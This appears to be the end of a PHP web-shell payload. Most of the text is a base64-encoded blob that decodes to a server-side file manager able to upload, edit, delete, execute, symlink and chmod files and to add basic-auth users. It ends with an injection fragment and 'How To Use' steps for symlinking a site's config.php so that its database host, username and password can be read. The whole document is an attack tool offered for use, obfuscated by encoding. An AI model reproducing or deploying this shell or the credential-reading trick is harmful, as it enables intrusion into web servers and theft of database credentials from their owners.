cJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF91cGxvYWQiIHZhbHVlPSInIC4gd29yZCgndXBsb2FkJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBjcmVhdGVfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJjcmVhdGUiPg0KCQk8c2VsZWN0IG5hbWU9ImNyZWF0ZV90eXBlIiBzaXplPSIxIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSI+DQoJCTxvcHRpb24gdmFsdWU9ImZpbGUiPicgLiB3b3JkKCdmaWxlJykgLiAnPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeSI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNyZWF0ZV9uYW1lIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X2NyZWF0ZSIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGUnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBlZGl0ICgkZmlsZSkgew0KCWdsb2JhbCAkc2VsZiwgJGRpcmVjdG9yeSwgJGVkaXRjb2xzLCAkZWRpdHJvd3MsICRhcGFjaGUsICRodHBhc3N3ZCwgJGh0YWNjZXNzOw0KDQoJaHRtbF9oZWFkZXIoKTsNCg0KCWVjaG8gJzxoMiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogM3B0Ij4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoNCgk8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgY29scz0iJyAuICRlZGl0Y29scyAuICciIHJvd3M9IicgLiAkZWRpdHJvd3MgLiAnIj4nOw0KDQoJaWYgKGFycmF5X2tleV9leGlzdHMoJ2NvbnRlbnQnLCAkX1BPU1QpKSB7DQoJCWVjaG8gJF9QT1NUWydjb250ZW50J107DQoJfSBlbHNlIHsNCgkJJGYgPSBmb3BlbigkZmlsZSwgJ3InKTsNCgkJd2hpbGUgKCFmZW9mKCRmKSkgew0KCQkJZWNobyBodG1sKGZyZWFkKCRmLCA4MTkyKSk7DQoJCX0NCgkJZmNsb3NlKCRmKTsNCgl9DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsndXNlciddKSkgew0KCQllY2hvICJcbiIgLiAkX1BPU1RbJ3VzZXInXSAuICc6JyAuIGNyeXB0KCRfUE9TVFsncGFzc3dvcmQnXSk7DQoJfQ0KCWlmICghZW1wdHkoJF9QT1NUWydiYXNpY19hdXRoJ10pKSB7DQoJCWlmICgkd2luKSB7DQoJCQkkYXV0aGZpbGUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRkaXJlY3RvcnkpIC4gJGh0cGFzc3dkOw0KCQl9IGVsc2Ugew0KCQkJJGF1dGhmaWxlID0gJGRpcmVjdG9yeSAuICRodHBhc3N3ZDsNCgkJfQ0KCQllY2hvICJcbkF1dGhUeXBlIEJhc2ljXG5BdXRoTmFtZSAmcXVvdDtSZXN0cmljdGVkIERpcmVjdG9yeSZxdW90O1xuIjsNCgkJZWNobyAnQXV0aFVzZXJGaWxlICZxdW90OycgLiBodG1sKCRhdXRoZmlsZSkgLiAiJnF1b3Q7XG4iOw0KCQllY2hvICdSZXF1aXJlIHZhbGlkLXVzZXInOw0KCX0NCg0KCWVjaG8gJzwvdGV4dGFyZWE+DQoNCgk8aHIgLz4NCic7DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7DQoJCWVjaG8gJw0KCScgLiB3b3JkKCd1c2VyJykgLiAnOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz4NCgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdhZGQnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0YWNjZXNzKSB7DQoJCWVjaG8gJw0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhc2ljX2F1dGgiIHZhbHVlPSInIC4gd29yZCgnYWRkX2Jhc2ljX2F1dGgnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCgllY2hvICcNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSInIC4gd29yZCgnc2F2ZScpIC4gJyIgaWQ9ImdyZWVuX2J1dHRvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4IiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIHNwYWNlciAoKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJZWNobyAnPHRyPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBzdHlsZT0iaGVpZ2h0OiAxZW0iPjwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB0ZXh0ZmllbGRzaXplICgkY29udGVudCkgew0KDQoJJHNpemUgPSBzdHJsZW4oJGNvbnRlbnQpICsgNTsNCglpZiAoJHNpemUgPCAzMCkgJHNpemUgPSAzMDsNCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQpmdW5jdGlvbiByZXF1ZXN0X2R1bXAgKCkgew0KDQoJZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlxuIjsNCgl9DQoNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQpmdW5jdGlvbiBodG1sICgkc3RyaW5nKSB7DQoJZ2xvYmFsICRjaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHN0cmluZywgRU5UX0NPTVBBVCwgJGNoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiB3b3JkICgkd29yZCkgew0KCWdsb2JhbCAkd29yZHMsICR3b3JkX2NoYXJzZXQ7DQoJcmV0dXJuIGh0bWxlbnRpdGllcygkd29yZHNbJHdvcmRdLCBFTlRfQ09NUEFULCAkd29yZF9jaGFyc2V0KTsNCn0NCg0KZnVuY3Rpb24gcGhyYXNlICgkcGhyYXNlLCAkYXJndW1lbnRzKSB7DQoJZ2xvYmFsICR3b3JkczsNCglzdGF0aWMgJHNlYXJjaDsNCg0KCWlmICghaXNfYXJyYXkoJHNlYXJjaCkpIGZvciAoJGkgPSAxOyAkaSA8PSA4OyAkaSsrKSAkc2VhcmNoW10gPSAiJSRpIjsNCg0KCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkYXJndW1lbnRzKTsgJGkrKykgew0KCQkkYXJndW1lbnRzWyRpXSA9IG5sMmJyKGh0bWwoJGFyZ3VtZW50c1skaV0pKTsNCgl9DQoNCgkkcmVwbGFjZSA9IGFycmF5KCd7JyA9PiAnPHByZT4nLCAnfScgPT4nPC9wcmU+JywgJ1snID0+ICc8Yj4nLCAnXScgPT4gJzwvYj4nKTsNCg0KCXJldHVybiBzdHJfcmVwbGFjZSgkc2VhcmNoLCAkYXJndW1lbnRzLCBzdHJfcmVwbGFjZShhcnJheV9rZXlzKCRyZXBsYWNlKSwgJHJlcGxhY2UsIG5sMmJyKGh0bWwoJHdvcmRzWyRwaHJhc2VdKSkpKTsNCg0KfQ0KDQpmdW5jdGlvbiBnZXR3b3JkcyAoJGxhbmcpIHsNCglnbG9iYWwgJHdvcmRfY2hhcnNldCwgJGRhdGVfZm9ybWF0Ow0KDQoJc3dpdGNoICgkbGFuZykgew0KCWNhc2UgJ2VuJzoNCglkZWZhdWx0Og0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBkZWxldGVkOlxuWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdSZW5hbWUgZmlsZTonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gcmVuYW1lZCB0byAiWyUyXSIuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGNvdWxkIG5vdCBiZSByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdNb3ZlIHRoZXNlIGZpbGVzOicsDQonbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidjb3B5X2ZpbGVzJyA9PiAnQ29weSB0aGVzZSBmaWxlczonLA0KJ2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGNvdWxkIG5vdCBiZSBleGVjdXRlZCBzdWNjZXNzZnVsbHk6XG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiBzYXZlZC4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgc2F2ZWQuJywNCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZyb20gIlslMl0iIHRvICJbJTFdIiBoYXMgYmVlbiBjcmVhdGVkLicsDQonbm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsDQoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgd2FzIHNldCB0byBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgY291bGQgbm90IGJlIHNldCB0byBbJTJdLicsDQonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgcmVhZC4nDQoJCSk7DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gZ2V0aW1hZ2UgKCRpbWFnZSkgew0KCXN3aXRjaCAoJGltYWdlKSB7DQoJY2FzZSAnZmlsZSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVEQUptWm1mLy8vd0FBQVAvLy95SDVCQUhvQXdNQUxBQUFBQUFSQUEwQUFBSXRuSUdKeGcwQjQycnNpU3ZDQS9SRW1YUVdobW5paDNMVVNHYXFnMzV2RmJTWHVjYlNhYnVuam5Nb2hxOENBRHNBJyk7DQoJY2FzZSAnZm9sZGVyJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy84ek16UC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJcW5JK1p3S3diWWdUUHRJdWRsYndMT2dDQlFKWW1DWXJuK20zc21ZNXZHYyswYTdkaGpoN1pieWdBQURzQScpOw0KCWNhc2UgJ2hpZGRlbl9maWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBTXdBQVAvLy81bVptZi8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdsaW5rJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFLSUVBSm1abWYvLy93QUFBTXdBQVAvLy93QUFBQUFBQUFBQUFDSDVCQUhvQXdRQUxBQUFBQUFSQUEwQUFBTTVTQXJjckRDQ1FPdUxjSW90d2dUWVVsbE5PQTBEeFhrbWhZNHNoTTV6c01VS1RZOGdOZ1V2VzZjbkFhWmd4TXlJTTJ6QkxDYUhsSmdBQURzQScpOw0KCWNhc2UgJ3NtaWxleSc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVDQUFBQUFQLy9BUC8vL3dBQUFDSDVCQUhvQXdJQUxBQUFBQUFSQUEwQUFBSXNsSStwQXUyd0RBaXowaldEM2hxbUJ6WmYxVkNsZUpRY2gwcmtkbnBwQjNkS1p1SXlnck1SRS9vSkR3VUFPd0E9Jyk7DQoJY2FzZSAnYXJyb3cnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUlBQkFBQUFBUC8vL3lINUJBRUtBQUVBTEFBQUFBQVJBQTBBQUFJZGpBOXd5NmdOUTRwd1VtYXYweXZuK2hoSmlJM21DSjZvdHJJa3h4UUFPdz09Jyk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBodG1sX2hlYWRlciAoKSB7DQoJZ2xvYmFsICRjaGFyc2V0Ow0KDQoJZWNobyA8PDxFTkQNCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0kY2hhcnNldCIgLz4NCg0KPHRpdGxlPmtpZCA8PiB4M3EoYXQpaG90bWFpbChkb3QpY29tPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgeyBmb250OiBzbWFsbCBzYW5zLXNlcmlmOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQ0KaW1nIHsgd2lkdGg6IDE3cHg7IGhlaWdodDogMTNweCB9DQphLCBhOnZpc2l0ZWQgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwIH0NCmhyIHsgYm9yZGVyLXN0eWxlOiBub25lOyBoZWlnaHQ6IDFweDsgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOyBjb2xvcjogc2lsdmVyIH0NCiNtYWluIHsgbWFyZ2luLXRvcDogNnB0OyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvOyBib3JkZXItc3BhY2luZzogMXB4IH0NCiNtYWluIHRoIHsgYmFja2dyb3VuZDogI0MwQzBDMDsgcGFkZGluZzogM3B0IDNwdCAwcHQgM3B0IH0NCi5saXN0aW5nIHRoLCAubGlzdGluZyB0ZCB7IHBhZGRpbmc6IDFweCAzcHQgMCAzcHQgfQ0KLmxpc3RpbmcgdGggeyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KLmxpc3RpbmcgdGQgeyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyBiYWNrZ3JvdW5kOiAjODA4MDgwIH0NCi5saXN0aW5nIC5jaGVja2JveCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3RpbmcgLnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGljZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRkaW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjogbm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQoNCiNlcnJvciB0ZCB7IGJhY2tncm91bmQ6IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdodDogMWV4IH0NCmNvZGUgeyBmb250LXNpemU6IDEycHQgfQ0KdGQgeyB3aGl0ZS1zcGFjZTogbm93cmFwIH0NCjwvc3R5bGU+DQo8Ym9keSBiZ2NvbG9yPSIjOTY5Njk2Ij4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7DQoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7DQoJCWRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddLnZhbHVlID0gbmFtZTsNCgl9DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCjxib2R5Pg0KDQoNCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7DQoNCgllY2hvIDw8PEVORA0KPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KDQp9DQoNCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFzZSkgew0KCWdsb2JhbCAkY29sczsNCg0KCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCWFycmF5X3NoaWZ0KCRhcmdzKTsNCg0KCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0iZXJyb3IiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8U1RZTEU+DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjMDAwMDAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDAwMDAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjMDAwMDAwIDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMDAwMDAwIDEgc29saWQ7DQpjb2xvcjogI2NjY2NjYzsNCn0NCi5ncmV5IHsNCkJPUkRFUjogMTsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpjb2xvcjogIzAwMDAwMDsNCn0NCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZjAwMDA7DQp9DQoudHh0Ym94IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNGRkZGRkY7DQp9DQpCT0RZIHsNCmNvbG9yOiAjRkYwMDAwOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCjwvU1RZTEU+DQo8L2hlYWQ+DQo8Ym9keT4='))}}{${exit()}}&
$_phpinclude_output


How To Use :-
1- Run Command [ ln -s /home/user/www/Path/includes/config.php 001.txt
2- Open 001.txt Then But [ Database , Host , username , password ]
